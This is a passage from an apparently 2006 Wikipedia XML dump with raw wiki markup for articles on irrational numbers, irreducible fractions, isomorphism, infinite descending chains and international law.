(The &quot;135&quot; above can be found quickly via [[Euclidean algorithm|Euclid's algorithm]].)

== Open questions ==

It is not known whether &amp;pi; + ''e'' and &amp;pi; &amp;minus; ''e'' are irrational or not. In fact, there is no pair of non-zero integers ''m'' and ''n'' for which it is known whether ''m''&amp;pi; + ''ne'' is irrational or not.
It is not known whether 2&lt;sup&gt;''e''&lt;/sup&gt;, &amp;pi;&lt;sup&gt;''e''&lt;/sup&gt;, &lt;math&gt;\pi^\sqrt{2}&lt;/math&gt; or the [[Euler-Mascheroni gamma constant]] &amp;gamma; are irrational.

== The set of all irrationals ==

The set of all irrational numbers is [[Uncountable set|uncountable]] (since the rationals are [[Countable set|countable]] and the reals are uncountable). The set of algebraic irrationals, that is, the non-transcendental irrationals, is countable.  Using the [[absolute value]] to measure distances, the irrational numbers become a [[metric space]] which is not [[complete (topology)|complete]]. However, this metric space is [[homeomorphic]] to the complete metric space of all [[sequence]]s of positive integers; the homeomorphism is given by the infinite [[continued fraction]] expansion. This shows that the [[Baire category theorem]] applies to the space of irrational numbers.



== External links ==
* [http://mathworld.wolfram.com/IrrationalNumber.html Irrational Number.]  From MathWorld--A Wolfram Web Resource.

[[Category:Irrational numbers]]
[[Category:Real numbers]]
[[Category:Set theory]]

&lt;!-- interwiki --&gt;

[[bn:অমূলদ সংখ্যা]]
[[ca:Nombre irracional]]
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[[es:Número irracional]]
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[[fa:اعداد گنگ]]
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[[ja:無理数]]
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[[zh:無理數]]</text>
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  </page>
  <page>
    <title>Irreducible fraction</title>
    <id>14822</id>
    <revision>
      <id>34235029</id>
      <timestamp>2006-01-07T12:47:33Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: zh</comment>
      <text xml:space="preserve">An '''irreducible fraction''' is a [[vulgar fraction]] in which the [[numerator]] and [[denominator]] are smaller than those in any other equivalent fraction.  To say a fraction is irreducible is the same as saying the fraction's value is '''in lowest terms'''.

Stating it more formally, a fraction &lt;sup&gt;a&lt;/sup&gt;&amp;#8260;&lt;sub&gt;b&lt;/sub&gt; is irreducible if there is no other equivalent fraction &lt;sup&gt;c&lt;/sup&gt;&amp;#8260;&lt;sub&gt;d&lt;/sub&gt; with c having an [[absolute value]] less than the absolute value of a (where a, b, c, and d are all integers). 

For example, &lt;sup&gt;1&lt;/sup&gt;&amp;#8260;&lt;sub&gt;4&lt;/sub&gt;, &lt;sup&gt;5&lt;/sup&gt;&amp;#8260;&lt;sub&gt;6&lt;/sub&gt;, and &lt;sup&gt;-101&lt;/sup&gt;&amp;#8260;&lt;sub&gt;100&lt;/sub&gt; are all irreducible fractions.  On the other hand, &lt;sup&gt;2&lt;/sup&gt;&amp;#8260;&lt;sub&gt;4&lt;/sub&gt; is not irreducible since it is equal in value to &lt;sup&gt;1&lt;/sup&gt;&amp;#8260;&lt;sub&gt;2&lt;/sub&gt;, and the numerator of the latter (1) is less than the numerator of &lt;sup&gt;2&lt;/sup&gt;&amp;#8260;&lt;sub&gt;4&lt;/sub&gt;.

It can be shown that a fraction &lt;sup&gt;a&lt;/sup&gt;&amp;#8260;&lt;sub&gt;b&lt;/sub&gt; is irreducible if, and only if, a and b are [[coprime]] (relatively prime), or equivalently, if a and b have a [[greatest common divisor]] of 1.

A fraction that is not irreducible can be reduced by using the [[Euclidean algorithm]] to find the greatest common divisor of the numerator and the denominator, and then dividing both the numerator and the denominator by it.

[[Category:Fractions]]
[[Category:Elementary arithmetic]]

[[fr:Fraction irréductible]]
[[zh:最简分数]]</text>
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  <page>
    <title>Information Theory</title>
    <id>14824</id>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Information theory]]
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  <page>
    <title>Isomorphism class</title>
    <id>14826</id>
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      <id>28350296</id>
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      <contributor>
        <username>Marc Venot</username>
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      <minor />
      <comment>shortcut Relation (mathematics)</comment>
      <text xml:space="preserve">An '''isomorphism class''' is a collection of mathematical objects [[isomorphic]] with a certain mathematical object. A mathematical object usually consists of a [[set]] and some [[Relation (mathematics)|mathematical relation]]s and operations defined over this set.

Isomorphism classes are often defined if the exact identity of the elements of the set is considered irrelevant, and the properties of the structure of the mathematical object are studied.  Examples of this are [[ordinal]]s and [[graph theory|graphs]].  However, there are circumstances in which the isomorphism class of an object conceals vital internal information about it; for example, in [[homotopy theory]], the [[fundamental group]] of a space &lt;math&gt;X&lt;/math&gt; at a point &lt;math&gt;p&lt;/math&gt;, though technically denoted &lt;math&gt;\pi_1(X,p)&lt;/math&gt; to emphasize the dependence on the base point, is often written lazily as simply &lt;math&gt;\pi_1(X)&lt;/math&gt; if &lt;math&gt;X&lt;/math&gt; is [[connected space#Path_connectedness|path connected]].  The reason for this is that the existence of a path between two points allows one to identify loops at one with loops at the other; however, unless &lt;math&gt;\pi_1(X,p)&lt;/math&gt; is [[abelian group|abelian]] this isomorphism is non-unique.  Furthermore, the classification of [[covering space]]s makes strict reference to particular subgroups of &lt;math&gt;\pi_1(X,p)&lt;/math&gt;, specifically distinguishing between isomorphic but [[conjugacy class|conjugate]] subgroups, and therefore amalgamating the elements of an isomorphism class into a single featureless object seriously decreases the level of detail provided by the theory.

[[Category:Abstract algebra]]

[[es:Clase de isomorfismo]]
[[sv:Isomorfismklass]]</text>
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    <title>Isomorphic</title>
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        <ip>138.23.203.143</ip>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[isomorphism]]
</text>
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  <page>
    <title>Isomorphism</title>
    <id>14828</id>
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      <comment>rv last anon edit</comment>
      <text xml:space="preserve">:''For the term in sociology, see [[isomorphism (sociology)]].''
In [[mathematics]], an '''isomorphism''' ([[Greek language|Greek]]:''isos'' &quot;equal&quot;, and ''morphe'' &quot;shape&quot;) is a [[bijective]] map ''f'' such that both ''f'' and its [[inverse function|inverse]] ''f''&lt;sup&gt;&amp;nbsp;&amp;minus;1&lt;/sup&gt; are [[homomorphism]]s, i.e. ''structure-preserving'' mappings.

Informally, an isomorphism is a kind of [[Map (mathematics)|mapping]] between objects, which shows a relationship between two properties or operations. If there exists an isomorphism between two structures, we call the two structures '''isomorphic'''.  In a certain sense, Isomorphic sets are '''structurally identical''', if you choose to ignore finer-grained differences that may arise from how they are defined.

According to [[Douglas Hofstadter]]: 
:&quot;''The word &quot;isomorphism&quot; applies when two complex structures can be mapped onto each other, in such a way that to each part of one structure there is a corresponding part in the other structure, where &quot;corresponding&quot; means that the two parts play similar roles in their respective structures.''&quot; ([[Gödel, Escher, Bach]], p. 49)

==Purpose==
Isomorphisms are frequently used by mathematicians to save themselves work. If a good isomorphism can be found from a relatively unknown part of mathematics into some well studied division of mathematics, where many theorems are already proved, and many methods are already available to find answers, then the function can be used to map whole problems out of unfamiliar territory over to &quot;solid ground,&quot; where the problem is easier to understand and work with.

==Physical analogies==

Here are some everyday examples of isomorphic structures:

* A solid cube made of wood and a solid cube made of lead are both solid cubes; although their matter differs, their geometric structures are isomorphic.
* A standard deck of 52 playing cards with green backs and a standard deck of 52 playing cards with brown backs; although the colours on the backs of each deck differ, the decks are structurally isomorphic &amp;mdash; if we wish to play cards, it doesn't matter which deck we choose to use.
* The Clock Tower in London (that contains [[Big Ben]]) and a wristwatch; although the clocks vary greatly in size, their mechanisms of reckoning time are isomorphic.
* A six-sided die and a bag from which a number 1 through 6 is chosen; although the method of obtaining a number is different, their random number generating abilities are isomorphic.  This is an example of functional isomorphism, without the presumption of geometric isomorphism.

==Practical example==

The following are examples of isomorphisms from ordinary [[algebra]].

&lt;ul&gt;&lt;li&gt;
Consider the [[logarithm]] function: For any fixed base ''b'', the [[logarithm]] function log&lt;sub&gt;''b''&lt;/sub&gt; maps from the positive [[real number]]s &lt;math&gt;\mathbb{R}^+&lt;/math&gt; onto the real numbers &lt;math&gt;\mathbb{R}&lt;/math&gt;; formally: 

:&lt;math&gt;\log_b : \mathbb{R}^+ \to \mathbb{R} \!&lt;/math&gt;

This mapping is [[injective function|one-to-one]] and [[surjective function|onto]], that is, it is a [[bijection]] from the [[domain (mathematics)|domain]] to the [[codomain]] of the logarithm function.

In addition to being an isomorphism of sets, the logarithm function also preserves certain operations.  Specifically, consider the [[group (mathematics)|group]] &lt;math&gt;(\mathbb{R}^+,\times)&lt;/math&gt; of positive real numbers under ordinary multiplication.  The logarithm function obeys the following identity:

:&lt;math&gt;\log_b(x \times y) = \log_b(x) + \log_b(y) \!&lt;/math&gt;

But the real numbers under addition also form a group.  So the logarithm function is in fact a group isomorphism from the group &lt;math&gt;(\mathbb{R}^+,\times)&lt;/math&gt; to the group &lt;math&gt;(\mathbb{R},+)&lt;/math&gt;.
&lt;/li&gt;

&lt;li&gt; Consider the group '''Z'''&lt;sub&gt;6&lt;/sub&gt;, the numbers from 0 to 5 with addition [[modular arithmetic|modulo]] 6.  Also consider the group '''Z'''&lt;sub&gt;2&lt;/sub&gt; &amp;times; '''Z'''&lt;sub&gt;3&lt;/sub&gt;, the ordered pairs where the ''x'' coordinates can be 0 or 1, and the y coordinates can be 0, 1, or 2, where addition in the ''x''-coordinate is modulo 2 and addition in the ''y''-coordinate is modulo 3.

These structures are isomorphic under addition, if you identify them using the following scheme:

::(0,0) -&gt; 0
::(1,1) -&gt; 1
::(0,2) -&gt; 2
::(1,0) -&gt; 3
::(0,1) -&gt; 4
::(1,2) -&gt; 5

or in general (''a'',''b'') -&gt; ( 3''a'' + 4 ''b'' ) mod 6.

For example note that (1,1) + (1,0) = (0,1) which translates in the other system as 1 + 3 = 4.

Even though these two sets &quot;look&quot; different, they are indeed '''isomorphic'''. More generally, the [[direct product]] of two [[cyclic group]]s '''Z'''&lt;sub&gt;''n''&lt;/sub&gt; and '''Z'''&lt;sub&gt;''m''&lt;/sub&gt; is cyclic if and only if ''n'' and ''m'' are [[coprime]].
&lt;/li&gt;

&lt;/ul&gt;

==Abstract examples==

===A relation-preserving isomorphism===

For example, if one object consists of a set ''X'' with an ordering &amp;le; and the other object consists of a set ''Y'' with an ordering &lt;math&gt;\sqsubseteq&lt;/math&gt; then an isomorphism from ''X'' to ''Y'' is a bijective function ''f''&amp;nbsp;:&amp;nbsp;''X''&amp;nbsp;→&amp;nbsp;''Y'' such that
: &lt;math&gt;f(u) \sqsubseteq f(v)&lt;/math&gt;  [[iff]]  ''u'' &amp;le; ''v''.
Such an isomorphism is called an ''[[order isomorphism]]''.

===An operation-preserving isomorphism===

Suppose that on these sets ''X'' and ''Y'', there are two [[binary operation]]s &lt;math&gt;\star&lt;/math&gt; and &lt;math&gt;\Diamond&lt;/math&gt; which happen to constitute the [[group (mathematics)|groups]] (''X'',&lt;math&gt;\star&lt;/math&gt;) and (''Y'',&lt;math&gt;\Diamond&lt;/math&gt;). Note that the operators operate on elements from the [[Domain (mathematics)|domain]] and [[Range (mathematics)|range]],  respectively, of the &quot;one-to-one&quot; and &quot;onto&quot; function ''f''. There is an isomorphism from ''X'' to ''Y'' if the [[bijective]] function ''f'' : ''X''&amp;nbsp;→&amp;nbsp;''Y'' happens to produce results, that sets up a correspondence between the operator &lt;math&gt;\star&lt;/math&gt; and the operator &lt;math&gt;\Diamond&lt;/math&gt;.

: &lt;math&gt;f(u) \Diamond f(v) = f(u \star v)&lt;/math&gt;
for all ''u'', ''v'' in ''X''.

==Applications==
In [[abstract algebra]], two basic isomorphisms are defined:
* [[Group isomorphism]], an isomorphism between [[group (mathematics)|groups]]
* [[Ring isomorphism]], an isomorphism between [[ring (mathematics)|rings]]. (Note that isomorphisms between [[field (mathematics)|fields]] are actually ring isomorphisms)

In [[Analysis (mathematics)|Analysis]], the [[Legendre transform]] maps hard [[differential equations]] into easier [[algebra]]ic equations.

In [[universal algebra]], one can provide a general definition of isomorphism that covers these and many other cases. For a more general definition, see [[category theory]].

In [[graph theory]], an isomorphism between two graphs ''G'' and ''H'' is a [[bijective]] map ''f'' from the vertices of ''G'' to the vertices of ''H'' that preserves the &quot;edge structure&quot; in the sense that there is an edge from [[vertex]] ''u'' to vertex ''v'' in ''G'' [[iff]] there is an edge from ''f''(''u'') to ''f''(''v'') in ''H''.

In [[linear algebra]], an isomorphism can also be defined as a [[linear transformation|linear map]] between two [[vector spaces]] that is [[bijection, injection and surjection|one-to-one]] and [[bijection, injection and surjection|onto]].

==See also==

*[[automorphism]]
*[[homomorphism]]
*[[epimorphism]]
*[[isomorphism class]]
*[[monomorphism]]
*[[morphism]]
*[[isometry]]

[[Category:Abstract algebra]]
[[Category:Algebra]]
[[Category:Category theory]]

[[cs:Izomorfismus]]
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[[sv:Isomorfism]]</text>
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  <page>
    <title>Infinite descending chain</title>
    <id>14829</id>
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      <id>23776920</id>
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      <comment>change minimal element to [[least element]]</comment>
      <text xml:space="preserve">Given a [[set]] ''S'' with a [[partial order]] &amp;le;, an '''infinite descending chain''' is a [[Chain (order theory)|chain]] ''V'', that is, a subset of ''S'' upon which &amp;le; defines a [[total order]], such that ''V'' has no [[least element]], that is, an element ''m'' such that for all elements ''n'' in ''V'' it holds that ''m'' &amp;le; ''n''.

As an example, in the set of [[integer]]s, the chain &amp;minus;1, &amp;minus;2, &amp;minus;3, ... is an infinite descending chain, but there exists no infinite chain on the [[natural number]]s, every chain of natural numbers has a minimal element.

If a partially ordered set does not contain any infinite descending chains, it is called [[well-founded set|well-founded]]. A total ordered set without infinite descending chains is called [[well-order]]ed.

[[Category:Order theory]]</text>
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    <title>International organizations</title>
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      <text xml:space="preserve">#REDIRECT [[International organization]]
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  <page>
    <title>International law</title>
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      <id>40013775</id>
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        <username>Demicx</username>
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      </contributor>
      <text xml:space="preserve">'''International law''',  is the body of law that &quot;regulates the activities of entities possessing international personality&quot;. Traditionally, that meant the conduct and [[relationship]]s of [[state]]s. However, it is now well established that international law also concerns the structure and conduct of [[international organization]]s, and, to a degree, that of [[multinational corporation]]s and individuals. 

As [[Rosalyn Higgins]] stated, international law is a normative system &quot;harnessed to the achievement of common values - values that speak to us all, whether we are rich or poor, black or white, of any religion or none, or come from countries that are industrialised or developing&quot;.{{ref|1}} The necessity for international law arises from the need to ensure a process that regulates competing demands and establishes the framework for predictable and agreed community behaviour.

The term &quot;public international law&quot; is occasionally used as a synonym to distinguish international law from [[private international law|&quot;private international law&quot;]]. The latter regulates the relations between persons or entities in different states and is in fact not international law at all (a better term which has been suggested for [[private international law]] is &quot;conflict of laws&quot;).

== The scope of international law ==

International law establishes the framework and the criteria for identifying [[states]] as the principal actors in the international legal system. As the existence of a state presupposes control and [[jurisdiction]] over territory, international law deals with the acquisition of territory, [[state immunity]] and the legal responsibility of states in their conduct with each other. The law is similarly concerned with the treatment of individuals within state boundaries. There is thus a comprehensive regime dealing with group rights, the treatment of [[alien (law)|aliens]], the rights of [[refugee]]s, [[international crime]]s, [[nationality]] problems and [[human rights]] generally. It further includes the important functions of the maintenance of international peace and security, arms control, the pacific settlement of disputes and the regulation of the [[use of force]] in international relations. Even when the law is not able to stop the outbreak of war, it has developed principles to govern the conduct of hostilities and the treatment of [[prisoners of war|prisoners]]. International law is also used to govern issues relating to the global environment, the global commons such as [[international waters]] and [[outer space]], global communications, and [[world trade]]. 

Whilst [[municipal law]] is hierarchical or vertical, with the [[legislature]] enacting binding [[legislation]], international law is horizontal, with all states being [[sovereign]] and theoretically equal. Because of this, the value and authority of international law is dependent upon the voluntary participation of states in its formulation, observance, and enforcement.  Although there may be exceptions, most states enter into legal commitments to other states out of enlightened self-interest rather than adherence to a body of law that is higher than their own. As D. W. Greig notes, &quot;international law cannot exist in isolation from the political factors operating in the sphere of [[international relations]]&quot;.{{ref|2}}

Where there are breaches of the law, international law has no established compulsory [[judicial system]] for the settlement of disputes or coercive [[penal system]]. That is not to say that there are no judicial or quasi-judicial tribunals in international law. The formation of the [[United Nations]], for example, created a means for the world community to enforce international law upon members that violate its charter.  

Traditionally, [[state]]s were the sole [[subject]]s of international law. With the proliferation of [[international organizations]] over the last century, they have in some cases been recognized as relevant parties as well. Recent interpretations of [[international human rights law]], [[international humanitarian law]], and [[international trade law]] (e.g. [[NAFTA]] Chapter 11 actions) have been inclusive of corporations, and even individuals.

==Fundamental conflicts over international law==
The 17th, 18th and 19th centuries saw the growth of the concept of a &quot;[[nation-state]]&quot;, which comprised nations controlled by a centralized system of government.  The concept of nationalism became increasingly important as people began to see themselves as citizens of a particular nation with a distinct national identity.  Until the beginning of the 20th century, relations between nation-states were dictated by Treaty, unenforceable agreements to behave in a certain way towards another state.
Many people now view the nation-state as the primary unit of international affairs. States may choose to voluntarily enter into commitments under international law, but they will often follow their own counsel when it comes to interpretation of their commitments.
As the 20th century progressed, a number of violent armed conflicts, including WWI and WWII, exposed the weaknesses of a voluntary system of international treaties.  In an attempt to create a stronger system of laws to prevent future conflicts,  a vehicle for the application of international law was found in the creation of the United Nations, an international law making body, and new international criminal laws were applied at the [[Nuremberg trials]].  Over the past fifty years, more international laws and law making bodies have been created.

Many people feel that these modern developments endanger nation states by taking power away from state governments and ceding it to international bodies such as the U.N. and the World Bank. Some scholars and political leaders have recently argued that international law has evolved to a point where it exists separately from the mere consent of states.  There is a growing trend toward judging a state's domestic actions in the light of international law and standards (see [[world government]] for trends and movements leading in this direction).  A number of states, notably the [[United States]] vehemently oppose this interpretation, maintaining that sovereignty is the only true international &quot;law&quot; and that states have free reign over their own affairs. Similarly, a number of scholars now discern a legislative and judicial process to international law that parallels such processes within domestic law.  Opponents to this point of view maintain that states only commit to international law with express consent and have the right to make their own interpretations of its meaning; and that international courts only function with the consent of states. Because international law is a new area of law its development is uncertain and its relevance and propriety is hotly disputed.

==Sources of international law==
''See main article: [[sources of international law]].''

International law has three primary sources: international treaties, custom, and general principles of law (cf. Art. 38 of the Statute of the International Court of Justice). International treaty law is comprised of obligations states expressly and voluntarily accept between themselves in [[treaty|treaties]]. Customary international law is derived from the consistent practice of States accompanied by ''opinio juris'', i.e. the conviction of States that the consistent practice is required by a legal obligation. Judgments of international tribunals as well as scholarly works have traditionally been looked to as persuasive sources for custom in addition to direct evidence of state behavior. Attempts to codify customary international law picked up momentum after the [[Second World War]] with the formation of the [[International Law Commission]] (ILC). Codified customary law is made the binding interpretation of the underlying custom by agreement through treaty. For states not party to such treaties, the work of the ILC may still be accepted as custom applying to those states. General principles of law are those commonly recognized by the major legal systems of the world.
Certain norms of international law achieve the binding force of [[peremptory norm]]s (''jus cogens'') as to include all states with no permissible derogations. Legal principles common to major legal systems may also be invoked to supplement international law when necessary.

==Interpretation of International Law==

Where there are disputes about the exact meaning and application of national laws, it is the responsibility of the courts to decide what the law means. In international law as a whole, there are no courts which have the authority to do this. It is generally the responsibility of states to interpret the law for themselves. Unsurprisingly, this means that there is rarely agreement in cases of dispute.
The [[Vienna Convention on the Law of Treaties]] writes on the topic of interpretation that:
: &quot;A treaty shall be interpreted in [[good faith]] in accordance with the ordinary meaning to be given to the terms of the treaty in their context and in the light of its object and purpose.&quot; (article 31(1))
This is actually a compromise between three different theories of interpretation:
* The textual approach is a restrictive interpretation which bases itself on the &quot;ordinary meaning&quot; of the text, the actual text has considerable weight.
* A subjective approach considers the idea behind the treaty, treaties &quot;in their context&quot;, what the writers intended when they wrote the text.
* A third approach bases itself on interpretation &quot;in the light of its object and purpose&quot;, i.e. the interpretation that best suits the goal of the treaty, also called &quot;effective interpretation&quot;.
These are general rules of interpretation; specific rules might exist in specific areas of international law.

==Enforcement by states==

Apart from a state's natural inclination to uphold certain norms, the force of international law has always come from the pressure that states put upon one another to behave consistently and to honor their obligations. As with any system of law, many violations of international law obligations are overlooked. If addressed, it is almost always purely through [[diplomacy]] and the consequences upon an offending state's reputation. Though violations may be common in fact, states try to avoid the appearance of having disregarded international obligations. States may also unilaterally adopt sanctions against one another such as the severance of economic or diplomatic ties, or through reciprocal action. In some cases, domestic courts may render judgment against a foreign state (the realm of private international law) for an injury, though this is a complicated area of law where international law intersects with domestic law.
States have the right to employ force in self-defense against an offending state that has used force to attack its territory or political independence. States may also use force in collective self-defense, where force is used against another state. The state that force is used against must authorize the participation of third-states in its self-defense. This right is recognized in the [[United Nations Charter]]. 

==Enforcement by international bodies==
''See main article: [[international legal system]].''

Violations of the UN Charter by members of the United Nations may be raised by the aggrieved state in the [[UN General Assembly|General Assembly]] for debate. The General Assembly cannot make binding resolutions, but under the &quot;[[UN General Assembly Resolution 377|Uniting for Peace]]&quot; resolution (GA/RES/0377) it declared it could authorize the use of force if there had been Breaches of the Peace or Acts of Aggression, provided that the Security Council due to a negative vote of a permanent member failed to act. It could call for other collective measures (such as economic sanctions) given a situation constituted the milder &quot;threat to the Peace&quot;. The legal significance of such a resolution is unclear, as the General Assembly cannot issue binding resolutions.

They can also be raised in the [[Security Council]].  The Security Council can pass resolutions under Chapter VI of the UN Charter to recommend &quot;Pacific Resolution of Disputes.&quot;  Such resolutions are not binding under international law, though they usually are expressive of the council's convictions.  In rare cases, the Security Council can pass resolutions under Chapter VII of the UN Charter related to &quot;threats to Peace, Breaches of the Peace and Acts of Aggression,&quot; and these are legally binding under international law, and can be followed up with economic sanctions, military action, and similar uses of force through the auspices of the United Nations. 

It has been argued that resolutions passed outside of Chapter VII can also be binding; the legal basis for that is the Council's broad powers under Article 24(2), which states that &quot;in discharging these duties (exercise of primary responsibility in international peace and security), it shall act in accordance with the Purposes and Principles of the United Nations&quot;.  The mandatory nature of such resolutions was upheld by the [[International Court of Justice]] in its advisory opinion on [[Namibia]]. The binding nature of such resolutions can be deduced from an interpretation of their language and intent.

States can also, upon mutual consent, submit disputes for arbitration by the [[International Court of Justice]] (ICJ), located in [[The Hague]], [[Netherlands]]. The judgments given by the Court in these cases are binding, although it possesses no means to enforce its rulings.
The Court may give an advisory opinion on any legal question at the request of whatever body may be authorized by or in accordance with the Charter of the United Nations to make such a request. Some of the advisory cases brought before the court have been controversial with respect to the courts competence and jurisdiction.

Often enormously complicated matters, ICJ cases (of which there have been less than 150 since the court was created from the [[Permanent Court of International Justice]] in 1945) can stretch on for years and generally involve thousands of pages of pleadings, evidence, and the world's leading specialist public international lawyers. As of [[2005]], there are twelve cases pending at the ICJ. Decisions made through other means of arbitration may be binding or non-binding depending on the nature of the arbitration agreement, whereas decisions resulting from contentious cases argued before the ICJ are always binding on the involved states.

Though states (or increasingly, [[international organizations]]) are usually the only ones with standing to address a violation of international law, some treaties, such as the [[International Covenant on Civil and Political Rights]] have an optional [[Protocol (treaty)|protocol]] that allows individuals who have had their rights violated by member states to petition the international [[Human Rights Committee]].

==History==
''See main article: [[history of international law]].''

Through the ages a code developed for the relations and conduct between nations. Even when nations were at [[war]], [[envoy]]s were often considered immune to violence.
The first formal attempts in this direction, which over time have developed into the current international law, stem from the era of the [[Renaissance]] in [[Europe]]. 
In the [[Middle Ages]] it had been considered the obligation of the [[Church]] to mediate in international disputes.  During the [[Council of Constance]] (1414) [[Pawel Wlodkowic]], rector of [[Jagiellonian University]] ([[Kraków]], [[Poland]]), theologian, lawyer and diplomat, presented the theory that all, including [[Paganism|pagan]], nations have right to self-govern and to live in peace and possess their land.

At the beginning of the 17th century, several generalizations could be made about the political situation:
# Self-governing, autonomous states existed.
# Almost all of them were governed by monarchs.
##The Peace of Westphalia is often cited as being the birth of the modern nation-states, establishing states as sovereigns answering to no-one within its own borders.
# Land, wealth, and trading rights were often the topics of wars between states.

Some people assert that international law developed to deal with the new states arising, others claim that the lack of influence of the [[Pope]] and the [[Catholic church]] gave rise to the need for new generally-accepted codes in Europe.

The [[France|French]] [[monk]] [[Emeric Cruce]] ([[1590]]–[[1648]]) came up with the idea of having representatives of all countries meeting in one place to discuss their conflicts so as to avoid war and create more peace. He suggested this in his ''The New Cyneas'' ([[1623]]), choosing [[Venice]] to be the selected city for all of the representatives to meet, and suggested that the Pope should preside over the meeting. Of course, during the [[Thirty Years' War]] ([[1618]]–[[1648]]), this was not acceptable to the Protestant nations.  He also said that armies should be abolished and called for a world court. Though his call to abolish [[army | armies]] was not taken seriously, Emeric Cruce does deserve his place in history through his foresight that international organizations are crucial to solve international disputes.

The statesmen of the time believed no nation could escape war, so they prepared for it.
[[Henry IV of France|King Henry IV's]] Chief Minister, the [[Maximilien de Bethune, duc de Sully |Duke of Sully]], proposed the founding of an alliance of the European nations that was to meet to arbitrate issues and wage war not between themselves but collectively on the Ottoman Turks, and he called it the Grand Design, but was never established.

After [[World War I]], the nations of the world decided to form an international body. [[United States|U.S.]] President [[Woodrow Wilson]] came up with the idea of a &quot;[[League of Nations]]&quot;. However, due to political wrangling in the [[United States|U.S.]] [[Congress]], the [[United States]] did not join the [[League of Nations]], which was one of the causes of its demise.
When [[World War II]] broke out, the [[League of Nations]] was finished. Yet at the same time, the [[United Nations]] was being formed. On [[January 1]], 1942, [[United States|US]] President [[Franklin D. Roosevelt]] issued the &quot;[[Declaration by United Nations]]&quot; on behalf of 26 nations who had pledged to fight against the [[Axis powers]]. Even before the end of the war, representatives of 50 nations met in [[San Francisco]] to draw up the charter for an international body to replace the [[League of Nations]]. On [[October 24]], 1945, the [[United Nations]] officially came into existence, setting a basis for much international law to follow.

Modern international law is often affirmed as the product of modern European civilization. 

The seafaring principalities of [[India]] established legal rules for ocean navigation and regional commerce. 

The Greek system of independent [[city-state]]s bore a close resemblance to contemporary nation-state system. The [[Aetolian League|Aetolian]] and [[Achaean League|Achaean]] leagues of the [[3rd century BC]] represented early organisational efforts at international cooperation and facilitated the development of arbitration as a dispute settlement technique.

== International legal theory ==

=== Natural law ===

The intellectual seeds of modern international law germinated in the [[16th century|16th]] and [[17th century|17th]] centuries, when the influence of the [[Catholic Church]] in international affairs gradually weakened. Many early international legal theorists were concerned with [[axiomatic]] truths thought to be reposed in [[natural law]]. Among the early natural law writers, [[Francisco de Vitoria]], [[Dominican Order|Dominican]] professor of [[theology]] at the University of [[Salamanca]], examined the question of [[just war]] and Spanish authority in the [[Americas]]. He did so while [[Spain]] was at the height of its power, after the violent Spanish conquest of [[Peru]] in [[1536]]. 

=== Eclectic school ===

Central in the development of modern international law was [[Hugo Grotius]] a [[Netherlands|Dutch]] [[theologian]], [[humanism|humanist]] and [[jurist]]. In his principal work ''De jure Belli ac Pacis Libri Tres'' (&quot;Three Books on the Law of War and Peace&quot;; [[1625]]), Grotius claimed that nations as well as persons ought to be governed by universal principle based on [[morality]] and [[Divine retribution|divine justice]]. Much of Grotius's content drew from the [[Bible]] and from classical history ([[just war]] theory of [[Augustine of Hippo]]. Drawing also from domestic [[contract law]], he also noted that relations between polities were governed by ''[[jus gentium]]'', the law of peoples, which had been established by the consent of the community of nations. (See ''[[pacta sunt servanda]]'').

The fundamental facets of the Grotian or [[eclectic]] school, especially the doctrines of legal equality, territorial sovereignty, and independence of states, became definitive to international law in Europe. These principals were recognised in the [[Peace of Westphalia]] and became the foundation for the treaties of [[Treaty of Osnabrück|Osnabrück]] and [[Treaty of Münster|Münster]].

Another eclectic thinker, [[Germany|German]] philosopher [[Christian von Wolff]], contended that the foundation for international community should come as a world superstate (''civitas maxima''), having authority over the component member states. This view was rejected by the [[Swiss]] diplomat [[Emmerich de Vattel]], who favoured a rationale of equality of states as articulated by [[18th century]] natural law. Vattel suggested in his major work ''Le droit des gens'' that the law of nations was comprised of custom and law on the one hand, and natural law on the other.

=== Legal positivism ===

The early positive school emphasized the importance of custom and treaties as sources of international law. Among the early positivists was [[Alberico Gentilis]], a professor of [[civil law (legal system)|civil law]] at [[Oxford]] who used historical examples to posit that positive law (''jus voluntarium'') was determined by general consent. Another professor at Oxford, [[Richard Zouche]], published the first manual of international law in [[1650]]. 

In the [[18th century]] [[legal positivism]] became popular and found its way into international legal philosophy. The principal figure among 18th century positivists was [[Cornelius van Bynkershoek]], a celebrated Dutch jurist who asserted that the bases of international law were customs and treaties commonly consented to by various states. A second positivist, [[John Jacob Moser]] was a prolific German scholar who emphasized the importance of state practice in international law. A contemporary German scholar, [[Georg Friedrich von Martens]], published the first systematic manual on positive international law, ''Precis du droit des gens moderne de l'Europe''.

The growth of [[nationalism]] and [[Hegelian]] philosophy in the [[19th century]] pushed natural law farther from the legal realm. [[Commercial law]] became nationalised into [[private international law]], distinct from public international law. Positivism narrowed the range of international practice that might qualify as law, favouring [[rationality]] to [[morality]] and [[ethic]]s. The [[Congress of Vienna]] in [[1815]] marked formal recognition of the political and international legal system based on the conditions of Europe.

==Branches of international law==

* [[International criminal law]]
* The law pertaining to [[use of force]]
* [[International humanitarian law]]
* [[Law of the sea]]
* [[Diplomatic law]]
* [[Consular law]]
* [[Law of state responsibility]]
* [[International environmental law]]

== Notes and references ==
&lt;div style=&quot;font-size: 90%&quot;&gt;
#{{note|1}}Higgins R, ''Problems and process : international law and how we use it'' (Oxford : Clarendon Press, 1994) at 16.
#{{note|2}}Greig, D. W., ''International Law'', 2nd edn (Butterworths: London, 1976)
&lt;/div&gt;

==See also==

*[[International Court of Justice]]
*[[International Criminal Court]]
*[[International Criminal Tribunal for the Former Yugoslavia]]
*[[International Criminal Tribunal for Rwanda]]
*[[International Labour Organization]]
*[[Hans Kelsen]]
*[[Saskia Sassen]]
*[[Sources of international law]]
*[[UNIDROIT]]
*[[United Nations]]
*[[List of treaties]]
*[[List of international public law topics]]

''Related topics'': [[international community]], [[world government]], [[nationality]], [[terrorism]], [[environmental agreements]], [[international auxiliary language]], [[state]], [[territorial integrity]], [[Non-Intervention]].

[[Category:International law]]
[[Category:International relations]]
[[Category:International trade]]
[[Category:Labor]]

[[af:Internasionalereg]]
[[bs:Međunarodno pravo]]
[[de:Völkerrecht]]
[[eo:Internacia juro]]
[[es:derecho internacional]]
[[fr:Droit international public]]
[[he:משפט בינלאומי]]
[[ja:国際法]]
[[ka:საერთაშორისო სამართალი]]
[[nl:Internationaal recht]]
[[no:Folkerett]]
[[pl:Prawo międzynarodowe]]
[[pt:Direito internacional]]
